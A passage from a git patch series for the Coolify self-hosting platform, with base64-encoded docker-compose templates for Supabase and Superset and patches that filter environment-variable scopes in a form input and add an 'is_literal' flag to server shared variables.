3QgZW52VmFyc09iaiA9IERlbm8uZW52LnRvT2JqZWN0KClcbiAgY29uc3QgZW52VmFycyA9IE9iamVjdC5rZXlzKGVudlZhcnNPYmopLm1hcCgoaykgPT4gW2ssIGVudlZhcnNPYmpba11dKVxuXG4gIHRyeSB7XG4gICAgY29uc3Qgd29ya2VyID0gYXdhaXQgRWRnZVJ1bnRpbWUudXNlcldvcmtlcnMuY3JlYXRlKHtcbiAgICAgIHNlcnZpY2VQYXRoLFxuICAgICAgbWVtb3J5TGltaXRNYixcbiAgICAgIHdvcmtlclRpbWVvdXRNcyxcbiAgICAgIG5vTW9kdWxlQ2FjaGUsXG4gICAgICBpbXBvcnRNYXBQYXRoLFxuICAgICAgZW52VmFycyxcbiAgICB9KVxuICAgIHJldHVybiBhd2FpdCB3b3JrZXIuZmV0Y2gocmVxKVxuICB9IGNhdGNoIChlKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogZS50b1N0cmluZygpIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA1MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG59KSIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvaGVsbG8vaW5kZXgudHMKICAgICAgICB0YXJnZXQ6IC9ob21lL2Rlbm8vZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgY29udGVudDogIi8vIEZvbGxvdyB0aGlzIHNldHVwIGd1aWRlIHRvIGludGVncmF0ZSB0aGUgRGVubyBsYW5ndWFnZSBzZXJ2ZXIgd2l0aCB5b3VyIGVkaXRvcjpcbi8vIGh0dHBzOi8vZGVuby5sYW5kL21hbnVhbC9nZXR0aW5nX3N0YXJ0ZWQvc2V0dXBfeW91cl9lbnZpcm9ubWVudFxuLy8gVGhpcyBlbmFibGVzIGF1dG9jb21wbGV0ZSwgZ28gdG8gZGVmaW5pdGlvbiwgZXRjLlxuXG5pbXBvcnQgeyBzZXJ2ZSB9IGZyb20gXCJodHRwczovL2Rlbm8ubGFuZC9zdGRAMC4xNzcuMS9odHRwL3NlcnZlci50c1wiXG5cbnNlcnZlKGFzeW5jICgpID0+IHtcbiAgcmV0dXJuIG5ldyBSZXNwb25zZShcbiAgICBgXCJIZWxsbyBmcm9tIEVkZ2UgRnVuY3Rpb25zIVwiYCxcbiAgICB7IGhlYWRlcnM6IHsgXCJDb250ZW50LVR5cGVcIjogXCJhcHBsaWNhdGlvbi9qc29uXCIgfSB9LFxuICApXG59KVxuXG4vLyBUbyBpbnZva2U6XG4vLyBjdXJsICdodHRwOi8vbG9jYWxob3N0OjxLT05HX0hUVFBfUE9SVD4vZnVuY3Rpb25zL3YxL2hlbGxvJyBcXFxuLy8gICAtLWhlYWRlciAnQXV0aG9yaXphdGlvbjogQmVhcmVyIDxhbm9uL3NlcnZpY2Vfcm9sZSBBUEkga2V5PidcbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gc3RhcnQKICAgICAgLSAnLS1tYWluLXNlcnZpY2UnCiAgICAgIC0gL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbgogIHN1cGFiYXNlLXN1cGF2aXNvcjoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3VwYXZpc29yOjIuNS4xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9PTEVSX1RFTkFOVF9JRD1kZXZfdGVuYW50CiAgICAgIC0gUE9PTEVSX1BPT0xfTU9ERT10cmFuc2FjdGlvbgogICAgICAtICdQT09MRVJfREVGQVVMVF9QT09MX1NJWkU9JHtQT09MRVJfREVGQVVMVF9QT09MX1NJWkU6LTIwfScKICAgICAgLSAnUE9PTEVSX01BWF9DTElFTlRfQ09OTj0ke1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk46LTEwMH0nCiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUE9TVEdSRVNfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1lY3RvOi8vc3VwYWJhc2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS9fc3VwYWJhc2UnCiAgICAgIC0gQ0xVU1RFUl9QT1NUR1JFUz10cnVlCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfUEFTU1dPUkRfU1VQQVZJU09SU0VDUkVUfScKICAgICAgLSAnVkFVTFRfRU5DX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfVkFVTFRFTkN9JwogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnTUVUUklDU19KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFJFR0lPTj1sb2NhbAogICAgICAtICdFUkxfQUZMQUdTPS1wcm90b19kaXN0IGluZXRfdGNwJwogICAgY29tbWFuZDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICcvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3N1cGF2aXNvciBldmFsICIkJChjYXQgL2V0Yy9wb29sZXIvcG9vbGVyLmV4cykiICYmIC9hcHAvYmluL3NlcnZlcicKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICB0YXJnZXQ6IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICBjb250ZW50OiAiezpvaywgX30gPSBBcHBsaWNhdGlvbi5lbnN1cmVfYWxsX3N0YXJ0ZWQoOnN1cGF2aXNvcilcbns6b2ssIHZlcnNpb259ID1cbiAgICBjYXNlIFN1cGF2aXNvci5SZXBvLnF1ZXJ5IShcInNlbGVjdCB2ZXJzaW9uKClcIikgZG9cbiAgICAle3Jvd3M6IFtbdmVyXV19IC0+IFN1cGF2aXNvci5IZWxwZXJzLnBhcnNlX3BnX3ZlcnNpb24odmVyKVxuICAgIF8gLT4gbmlsXG4gICAgZW5kXG5wYXJhbXMgPSAle1xuICAgIFwiZXh0ZXJuYWxfaWRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9URU5BTlRfSURcIiksXG4gICAgXCJkYl9ob3N0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19IT1NUTkFNRVwiKSxcbiAgICBcImRiX3BvcnRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BPUlRcIikgfD4gU3RyaW5nLnRvX2ludGVnZXIoKSxcbiAgICBcImRiX2RhdGFiYXNlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19EQlwiKSxcbiAgICBcInJlcXVpcmVfdXNlclwiID0+IGZhbHNlLFxuICAgIFwiYXV0aF9xdWVyeVwiID0+IFwiU0VMRUNUICogRlJPTSBwZ2JvdW5jZXIuZ2V0X2F1dGgoJDEpXCIsXG4gICAgXCJkZWZhdWx0X21heF9jbGllbnRzXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfTUFYX0NMSUVOVF9DT05OXCIpLFxuICAgIFwiZGVmYXVsdF9wb29sX3NpemVcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9ERUZBVUxUX1BPT0xfU0laRVwiKSxcbiAgICBcImRlZmF1bHRfcGFyYW1ldGVyX3N0YXR1c1wiID0+ICV7XCJzZXJ2ZXJfdmVyc2lvblwiID0+IHZlcnNpb259LFxuICAgIFwidXNlcnNcIiA9PiBbJXtcbiAgICBcImRiX3VzZXJcIiA9PiBcInBnYm91bmNlclwiLFxuICAgIFwiZGJfcGFzc3dvcmRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BBU1NXT1JEXCIpLFxuICAgIFwibW9kZV90eXBlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfUE9PTF9NT0RFXCIpLFxuICAgIFwicG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJpc19tYW5hZ2VyXCIgPT4gdHJ1ZVxuICAgIH1dXG59XG5cbnRlbmFudCA9IFN1cGF2aXNvci5UZW5hbnRzLmdldF90ZW5hbnRfYnlfZXh0ZXJuYWxfaWQocGFyYW1zW1wiZXh0ZXJuYWxfaWRcIl0pXG5cbmlmIHRlbmFudCBkb1xuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLnVwZGF0ZV90ZW5hbnQodGVuYW50LCBwYXJhbXMpXG5lbHNlXG4gIHs6b2ssIF99ID0gU3VwYXZpc29yLlRlbmFudHMuY3JlYXRlX3RlbmFudChwYXJhbXMpXG5lbmRcbiIK",
"tags": [
"firebase",
"alternative",
@@ -4102,7 +4102,7 @@
"superset-with-postgresql": {
"documentation": "https://github.com/amancevice/docker-superset?utm_source=coolify.io",
"slogan": "Modern data exploration and visualization platform (unofficial community docker image)",
- "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NVUEVSU0VUXzgwODgKICAgICAgLSAnU0VDUkVUX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NVUEVSU0VUU0VDUkVUS0VZfScKICAgICAgLSAnTUFQQk9YX0FQSV9LRVk9JHtNQVBCT1hfQVBJX0tFWX0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1zdXBlcnNldC1kYn0nCiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9zdXBlcnNldC9zdXBlcnNldF9jb25maWcucHkKICAgICAgICB0YXJnZXQ6IC9ldGMvc3VwZXJzZXQvc3VwZXJzZXRfY29uZmlnLnB5CiAgICAgICAgY29udGVudDogIlwiXCJcIlxuRm9yIG1vcmUgY29uZmlndXJhdGlvbiBvcHRpb25zLCBzZWU6XG4tIGh0dHBzOi8vc3VwZXJzZXQuYXBhY2hlLm9yZy9kb2NzL2NvbmZpZ3VyYXRpb24vY29uZmlndXJpbmctc3VwZXJzZXRcblwiXCJcIlxuXG5pbXBvcnQgb3NcblxuU0VDUkVUX0tFWSA9IG9zLmdldGVudihcIlNFQ1JFVF9LRVlcIilcbk1BUEJPWF9BUElfS0VZID0gb3MuZ2V0ZW52KFwiTUFQQk9YX0FQSV9LRVlcIiwgXCJcIilcblxuQ0FDSEVfQ09ORklHID0ge1xuICBcIkNBQ0hFX1RZUEVcIjogXCJSZWRpc0NhY2hlXCIsXG4gIFwiQ0FDSEVfREVGQVVMVF9USU1FT1VUXCI6IDMwMCxcbiAgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfXCIsXG4gIFwiQ0FDSEVfUkVESVNfSE9TVFwiOiBcInJlZGlzXCIsXG4gIFwiQ0FDSEVfUkVESVNfUE9SVFwiOiA2Mzc5LFxuICBcIkNBQ0hFX1JFRElTX0RCXCI6IDEsXG4gIFwiQ0FDSEVfUkVESVNfVVJMXCI6IGZcInJlZGlzOi8vOntvcy5nZXRlbnYoJ1JFRElTX1BBU1NXT1JEJyl9QHJlZGlzOjYzNzkvMVwiLFxufVxuXG5GSUxURVJfU1RBVEVfQ0FDSEVfQ09ORklHID0geyoqQ0FDSEVfQ09ORklHLCBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9maWx0ZXJfXCJ9XG5FWFBMT1JFX0ZPUk1fREFUQV9DQUNIRV9DT05GSUcgPSB7KipDQUNIRV9DT05GSUcsIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X2V4cGxvcmVfZm9ybV9cIn1cblxuU1FMQUxDSEVNWV9UUkFDS19NT0RJRklDQVRJT05TID0gVHJ1ZVxuU1FMQUxDSEVNWV9EQVRBQkFTRV9VUkkgPSBmXCJwb3N0Z3Jlc3FsK3BzeWNvcGcyOi8ve29zLmdldGVudignUE9TVEdSRVNfVVNFUicpfTp7b3MuZ2V0ZW52KCdQT1NUR1JFU19QQVNTV09SRCcpfUBwb3N0Z3Jlczo1NDMyL3tvcy5nZXRlbnYoJ1BPU1RHUkVTX0RCJyl9XCJcblxuIyBVbmNvbW1lbnQgaWYgeW91IHdhbnQgdG8gbG9hZCBleGFtcGxlIGRhdGEgKHVzaW5nIFwic3VwZXJzZXQgbG9hZF9leGFtcGxlc1wiKSBhdCB0aGVcbiMgc2FtZSBsb2NhdGlvbiBhcyB5b3VyIG1ldGFkYXRhIHBvc3RncmVzcWwgaW5zdGFuY2UuIE90aGVyd2lzZSwgdGhlIGRlZmF1bHQgc3FsaXRlXG4jIHdpbGwgYmUgdXNlZCwgd2hpY2ggd2lsbCBub3QgcGVyc2lzdCBpbiB2b2x1bWUgd2hlbiByZXN0YXJ0aW5nIHN1cGVyc2V0IGJ5IGRlZmF1bHQuXG4jU1FMQUxDSEVNWV9FWEFNUExFU19VUkkgPSBTUUxBTENIRU1ZX0RBVEFCQVNFX1VSSSIKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4OC9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1zdXBlcnNldC1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9yZWRpc19kYXRhOi9kYXRhJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JlZGlzLWNsaSBwaW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
+ "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6Ni4wLjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fU1VQRVJTRVRfODA4OAogICAgICAtICdTRUNSRVRfS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfU1VQRVJTRVRTRUNSRVRLRVl9JwogICAgICAtICdNQVBCT1hfQVBJX0tFWT0ke01BUEJPWF9BUElfS0VZfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LXN1cGVyc2V0LWRifScKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3N1cGVyc2V0L3N1cGVyc2V0X2NvbmZpZy5weQogICAgICAgIHRhcmdldDogL2V0Yy9zdXBlcnNldC9zdXBlcnNldF9jb25maWcucHkKICAgICAgICBjb250ZW50OiAiXCJcIlwiXG5Gb3IgbW9yZSBjb25maWd1cmF0aW9uIG9wdGlvbnMsIHNlZTpcbi0gaHR0cHM6Ly9zdXBlcnNldC5hcGFjaGUub3JnL2RvY3MvY29uZmlndXJhdGlvbi9jb25maWd1cmluZy1zdXBlcnNldFxuXCJcIlwiXG5cbmltcG9ydCBvc1xuXG5TRUNSRVRfS0VZID0gb3MuZ2V0ZW52KFwiU0VDUkVUX0tFWVwiKVxuTUFQQk9YX0FQSV9LRVkgPSBvcy5nZXRlbnYoXCJNQVBCT1hfQVBJX0tFWVwiLCBcIlwiKVxuXG5DQUNIRV9DT05GSUcgPSB7XG4gIFwiQ0FDSEVfVFlQRVwiOiBcIlJlZGlzQ2FjaGVcIixcbiAgXCJDQUNIRV9ERUZBVUxUX1RJTUVPVVRcIjogMzAwLFxuICBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9cIixcbiAgXCJDQUNIRV9SRURJU19IT1NUXCI6IFwicmVkaXNcIixcbiAgXCJDQUNIRV9SRURJU19QT1JUXCI6IDYzNzksXG4gIFwiQ0FDSEVfUkVESVNfREJcIjogMSxcbiAgXCJDQUNIRV9SRURJU19VUkxcIjogZlwicmVkaXM6Ly86e29zLmdldGVudignUkVESVNfUEFTU1dPUkQnKX1AcmVkaXM6NjM3OS8xXCIsXG59XG5cbkZJTFRFUl9TVEFURV9DQUNIRV9DT05GSUcgPSB7KipDQUNIRV9DT05GSUcsIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X2ZpbHRlcl9cIn1cbkVYUExPUkVfRk9STV9EQVRBX0NBQ0hFX0NPTkZJRyA9IHsqKkNBQ0hFX0NPTkZJRywgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfZXhwbG9yZV9mb3JtX1wifVxuXG5TUUxBTENIRU1ZX1RSQUNLX01PRElGSUNBVElPTlMgPSBUcnVlXG5TUUxBTENIRU1ZX0RBVEFCQVNFX1VSSSA9IGZcInBvc3RncmVzcWwrcHN5Y29wZzI6Ly97b3MuZ2V0ZW52KCdQT1NUR1JFU19VU0VSJyl9Ontvcy5nZXRlbnYoJ1BPU1RHUkVTX1BBU1NXT1JEJyl9QHBvc3RncmVzOjU0MzIve29zLmdldGVudignUE9TVEdSRVNfREInKX1cIlxuXG4jIFVuY29tbWVudCBpZiB5b3Ugd2FudCB0byBsb2FkIGV4YW1wbGUgZGF0YSAodXNpbmcgXCJzdXBlcnNldCBsb2FkX2V4YW1wbGVzXCIpIGF0IHRoZVxuIyBzYW1lIGxvY2F0aW9uIGFzIHlvdXIgbWV0YWRhdGEgcG9zdGdyZXNxbCBpbnN0YW5jZS4gT3RoZXJ3aXNlLCB0aGUgZGVmYXVsdCBzcWxpdGVcbiMgd2lsbCBiZSB1c2VkLCB3aGljaCB3aWxsIG5vdCBwZXJzaXN0IGluIHZvbHVtZSB3aGVuIHJlc3RhcnRpbmcgc3VwZXJzZXQgYnkgZGVmYXVsdC5cbiNTUUxBTENIRU1ZX0VYQU1QTEVTX1VSSSA9IFNRTEFMQ0hFTVlfREFUQUJBU0VfVVJJIgogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDg4L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotc3VwZXJzZXQtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VwZXJzZXRfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VwZXJzZXRfcmVkaXNfZGF0YTovZGF0YScKICAgIGNvbW1hbmQ6ICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdyZWRpcy1jbGkgcGluZycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
"tags": [
"analytics",
"bi",
From 99d22ae7d68b0fde62bfcc78b7693287ec744d22 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Fri, 2 Jan 2026 17:31:00 +0100
Subject: [PATCH 007/168] fix: filter available scopes based on existing
variables in env var input
---
.../views/components/forms/env-var-input.blade.php | 14 +++++++++++++-
.../shared/environment-variable/show.blade.php | 6 +++---
2 files changed, 16 insertions(+), 4 deletions(-)
diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php
index dde535f19..61e308a83 100644
--- a/resources/views/components/forms/env-var-input.blade.php
+++ b/resources/views/components/forms/env-var-input.blade.php
@@ -17,8 +17,15 @@
selectedIndex: 0,
cursorPosition: 0,
currentScope: null,
- availableScopes: ['team', 'project', 'environment', 'server'],
availableVars: @js($availableVars),
+ get availableScopes() {
+ // Only include scopes that have at least one variable
+ const allScopes = ['team', 'project', 'environment', 'server'];
+ return allScopes.filter(scope => {
+ const vars = this.availableVars[scope];
+ return vars && vars.length > 0;
+ });
+ },
scopeUrls: @js($scopeUrls),
handleInput() {
@@ -54,6 +61,11 @@
if (content === '') {
this.currentScope = null;
+ // Only show dropdown if there are available scopes with variables
+ if (this.availableScopes.length === 0) {
+ this.showDropdown = false;
+ return;
+ }
this.suggestions = this.availableScopes.map(scope => ({
type: 'scope',
value: scope,
diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php
index d2195c2af..4dc46bbbb 100644
--- a/resources/views/livewire/project/shared/environment-variable/show.blade.php
+++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php
@@ -109,7 +109,7 @@
disabled
type="password"
id="value"
- :availableVars="$this->availableSharedVariables"
+ :availableVars="$isSharedVariable ? [] : $this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
:environmentUuid="data_get($parameters, 'environment_uuid')"
:serverUuid="data_get($parameters, 'server_uuid')" />
@@ -128,7 +128,7 @@
:required="$is_redis_credential"
type="password"
id="value"
- :availableVars="$this->availableSharedVariables"
+ :availableVars="$isSharedVariable ? [] : $this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
:environmentUuid="data_get($parameters, 'environment_uuid')"
:serverUuid="data_get($parameters, 'server_uuid')" />
@@ -145,7 +145,7 @@
disabled
type="password"
id="value"
- :availableVars="$this->availableSharedVariables"
+ :availableVars="$isSharedVariable ? [] : $this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
:environmentUuid="data_get($parameters, 'environment_uuid')"
:serverUuid="data_get($parameters, 'server_uuid')" />
From 510fb2256bc88f625c26e2602943cc23578e07d2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Fri, 2 Jan 2026 17:46:39 +0100
Subject: [PATCH 008/168] fix: add 'is_literal' flag to shared environment
variables for servers
---
app/Models/Server.php | 5 +++--
..._add_predefined_server_variables_to_existing_servers.php | 6 ++++--
database/seeders/SharedEnvironmentVariableSeeder.php | 2 ++
3 files changed, 9 insertions(+), 4 deletions(-)
diff --git a/app/Models/Server.php b/app/Models/Server.php
index 46587e7bc..bb75a414b 100644
--- a/app/Models/Server.php
+++ b/app/Models/Server.php
@@ -19,7 +19,6 @@
use App\Traits\HasSafeStringAttribute;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Database\Eloquent\Casts\Attribute;
-use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\SoftDeletes;
use Illuminate\Support\Carbon;
@@ -169,7 +168,7 @@ protected static function booted()
$standaloneDocker->saveQuietly();
}
}
- if (! isset($server->proxy->redirect_enabled)) {
+ if (! isset($server->proxy->redirect_enabled)) {
$server->proxy->redirect_enabled = true;
}
@@ -180,6 +179,7 @@ protected static function booted()
'type' => 'server',
'server_id' => $server->id,
'team_id' => $server->team_id,
+ 'is_literal' => true,
]);
SharedEnvironmentVariable::create([
'key' => 'COOLIFY_SERVER_NAME',
@@ -187,6 +187,7 @@ protected static function booted()
'type' => 'server',
'server_id' => $server->id,
'team_id' => $server->team_id,
+ 'is_literal' => true,
]);
});
static::retrieved(function ($server) {
diff --git a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
index d31b57ca7..3d09197b4 100644
--- a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
+++ b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
@@ -21,13 +21,14 @@ public function up(): void
->where('key', 'COOLIFY_SERVER_UUID')
->exists();
- if (!$uuidExists) {
